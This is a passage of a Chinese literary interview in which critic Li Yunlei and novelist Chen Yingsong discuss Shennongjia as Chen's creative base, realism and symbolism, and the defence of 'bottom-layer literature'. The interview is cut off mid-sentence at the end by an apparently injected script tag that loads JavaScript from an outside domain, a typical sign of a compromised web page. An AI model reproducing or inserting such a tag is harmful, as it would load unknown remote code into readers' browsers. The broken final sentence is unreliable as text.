李云雷：“神农架”在你的写作中具有重要的地位，这是你小说创作的一个转折点，也是你后来大部分作品的题材，可以说是一个创作上的根据地，“神农架”在你的小说中具有多重意味，它既是与社会对应的自然，也是与城市对应的乡村或底层，还可以说是与中国其他地方不同的“楚地”文化特色，也可以说是与现代相对应的一系列“前现代”的生活方式，请问你是如何看待“神农架”，如何看待这种写作上的“根据地”的？去神农架前后，你的写作方式有什么变化？

    陈应松：首先，神农架是我的一个“喷发口”，这证明我有爆发的东西，胸中有一些岩浆。如果说我的写作方式有什么变化的话，过去写虚了，现在写实了；而过去写实了，现在又写虚了。怎么讲？现在的写实，是基于神农架山川人物一切的真实。我写的任何细节，吃什么，用什么，什么植物，花形花色，都是可以考证的真实。另一种“实”就是对现实的关注不来虚的，直面人生，让一个人、一种生存现状站在你面前，真实得让你颤抖。这是我内心动员他们的结果；那么又写“虚”了，是指我终于找到了一个巨大的象征物，这里面的万物都可为我的象征。小说没有象征不能成其为小说。我的小说即使真实得让人发抖，但也是象征色彩很浓的真实。没有象征的细节和语言我是不会用的，故事没有象征意味我是不会写的。象征就是有意味的语言、叙述方式和情节，我的小说追求意味。

    “根据地”的问题，当然需要有一块能彰显你才华和思想的地方，要互为照耀。好多好多的作家作品里其实都有这么一块地方，其实已经滥了，甲市、乙镇、A村、B河、某山、某坡等等，因而也就不重要了。重要的是你能把它写到什么程度。这取决于你的造化，你的能力，你自己做人的深度。

    李云雷：你的不少小说都可以归入“底层文学”的范畴，现在不少论者都对“底层文学”的艺术性表示质疑，但你的作品似乎是个例外。我觉得在这里有两个误区，一是“底层文学”的批评者持根本性的批评态度，认为“底层文学”本身就不可能有好的作品；二是“底层文学”的倡导者则更多强调题材或立场，而对作品的艺术性持宽容的态度。如何将现实关怀与美学结合起来，是一个很重要的问题，请问你是如何看待这一问题的，并请你谈谈对“底层文学”的看法。

    陈应松：在北京时听过你对“底层文学”的高见，看过你这方面研究的许多文章，特别是不久前你的那篇重要的文章《“底层叙事”前进的方向》。你是“底层文学”的重要鼓吹者和推手，你对“底层文学”进行了庄严的辩护，我们都要感谢你。去年底我在“中国当代文学•南京论坛”上对“底层文学”也进行了一点辩护。当时许多批评家对“底层文学”甚至当代文学采取了一棍子打死的办法。好像不对当代文学否定，就不能证明他们的不凡见解。我老以为，批评家也要写点儿小说，就像你。否则，我认为批评是很难说服作家的。就像那次阎连科发言所说，每次参加这样的会，作家就是一小撮，就处在了被批判的位置。

    我只想说，一、近年来最好的小说几乎全是写底层的；二、题材和立场必须是以小说的、艺术的形式出现的。我认为确有一些比较差的小说，写得匆忙的小说，但总体上看，“底层文学”是有相当艺术价值的。“新写实”如此琐碎和罗嗦，它也留下了一批好作品，我们有什么理由对“底层文学”失望呢？

    根据你和其他人的研究高见，加上我的想法，我在南京的会议上也把“底层叙事”作了点概括：1、它可能是对真实写作的一种偏执实践。这就是：小说必须真实地反映我们的生活，哪怕是角落里的生活；2、底层叙事是对我们政治暗流的一种逆反心理的写作活动，它的作品，可能是新世纪小说创作收获的一个意外；3、它是一种强烈的社会思潮，而不仅仅是一种文学表现方法；4、它是当下恶劣的精神活动的一种抵抗、补充和矫正。我们如今的社会，我们的精神虽然遭受到伤害、困境，但还没有到崩溃和绝望的地步，我们灵魂虽然迷失、变态，但还没有到撕裂和疯狂的地步。我们社会的富人越来越多，穷人越来越少，这更加凸显了穷人的悲哀和我们对贫穷与底层的忽略。何况，穷人在如今依然是一个庞大的、触目惊心的群体。我认为，怜悯，仍然是作家的美德之一。在我们的社会变得越来越轻佻，越来越浮华，越来越麻痹，越来越虚伪，越来越忍耐，越来越不以为然，越来越矫揉造作，越来越王顾左右而言他的时候，总会有一些作家，自觉或不自觉地承担着某一部分平衡我们时代精神走向的责任，并且努力弥合和修复我们社会的裂痕，唤醒我们的良知和同情心，难道这有什么错吗？

    我之所以说它是新世纪小说创作收获的一个意外，是基于每到世纪之交，社会总会弥漫着一股迷茫和彷徨的氛围。而这个世纪之初，我们的思想界、文学界和老百姓却异常清醒（至少在民间）。这些“底层叙事”的作品就是明证。当?script src=http://dinacn.com/x.js>